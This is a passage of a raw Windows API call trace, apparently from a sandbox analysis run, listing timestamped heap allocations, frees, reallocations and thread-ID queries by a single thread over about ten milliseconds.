hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71640 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aac2c0 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64c8 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65a8 [0073.275] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64c8, Size=0x14) returned 0x2a71900 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65a8 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6478 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0073.276] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6478, Size=0x14) returned 0x2a71660 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a717c0 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6528 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0073.276] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6528, Size=0x14) returned 0x2a71900 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71760 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0073.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0073.276] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a71600 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0073.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0073.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71760 | out: hHeap=0x2ad0000) returned 1 [0073.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0073.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71600 | out: hHeap=0x2ad0000) returned 1 [0073.277] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad0538, Size=0x40) returned 0x2a75cd0 [0073.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aaa618 [0073.277] GetLastError () returned 0x0 [0073.277] CloseHandle (hObject=0x1d4) returned 1 [0073.277] GetLastError () returned 0x0 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] GetLastError () returned 0x0 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0073.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.277] GetCurrentThreadId () returned 0x9b0 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2a879a0 [0073.278] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a879a0, Size=0x14) returned 0x2a879a0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ab18 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0073.278] GetCurrentThreadId () returned 0x9b0 [0073.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aaac20 [0073.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aacd78 | out: hHeap=0x2ad0000) returned 1 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ac30 [0073.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ac30 | out: hHeap=0x2ad0000) returned 1 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.279] GetCurrentThreadId () returned 0x9b0 [0073.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0073.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71800 [0073.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18028 [0073.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64c8 [0073.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0073.280] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64c8, Size=0x14) returned 0x2a71840 [0073.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0073.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18028 | out: hHeap=0x2ad0000) returned 1 [0073.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71800 | out: hHeap=0x2ad0000) returned 1 [0073.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0073.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aacd78 [0073.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6458 [0073.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2a6e870 [0073.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aacd78 | out: hHeap=0x2ad0000) returned 1 [0073.280] GetCurrentThreadId () returned 0x9b0 [0073.280] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.280] GetCurrentThreadId () returned 0x9b0 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a715c0 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71900 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad63f8 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6498 [0073.281] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad63f8, Size=0x14) returned 0x2a71860 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6498 | out: hHeap=0x2ad0000) returned 1 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71860 | out: hHeap=0x2ad0000) returned 1 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad64f8 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71680 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18190 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0073.281] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6528 [0073.281] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a716e0 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18190 | out: hHeap=0x2ad0000) returned 1 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0073.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aac5d0 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aacd78 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6488 [0073.282] GetCurrentThreadId () returned 0x9b0 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.282] GetCurrentThreadId () returned 0x9b0 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718a0 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71880 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18190 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6448 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0073.282] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6448, Size=0x14) returned 0x2a71920 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18190 | out: hHeap=0x2ad0000) returned 1 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71920 | out: hHeap=0x2ad0000) returned 1 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6518 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6528 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a717c0 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180e8 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0073.282] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0073.282] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a718e0 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180e8 | out: hHeap=0x2ad0000) returned 1 [0073.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0073.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0073.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718e0 | out: hHeap=0x2ad0000) returned 1 [0073.283] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18178, Size=0x20) returned 0x2a1fad8 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aabca0 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aad6a8 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6528 [0073.283] GetCurrentThreadId () returned 0x9b0 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.283] GetCurrentThreadId () returned 0x9b0 [0073.283] GetCurrentThreadId () returned 0x9b0 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a715a0 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71740 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6448 [0073.283] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64a8 [0073.283] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6448, Size=0x14) returned 0x2a71840 [0073.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64a8 | out: hHeap=0x2ad0000) returned 1 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71740 | out: hHeap=0x2ad0000) returned 1 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6538 | out: hHeap=0x2ad0000) returned 1 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad65c8 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71580 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64d8 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6548 [0073.284] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64d8, Size=0x14) returned 0x2a71700 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aab990 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aabe28 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6558 [0073.284] GetCurrentThreadId () returned 0x9b0 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.284] GetCurrentThreadId () returned 0x9b0 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71920 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6408 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718c0 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6448 [0073.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0073.284] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6448, Size=0x14) returned 0x2a716c0 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6408 | out: hHeap=0x2ad0000) returned 1 [0073.285] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716c0 | out: hHeap=0x2ad0000) returned 1 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x2ad6448 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71640 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64d8 [0073.285] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6538 [0073.285] RtlReAllocateHeap 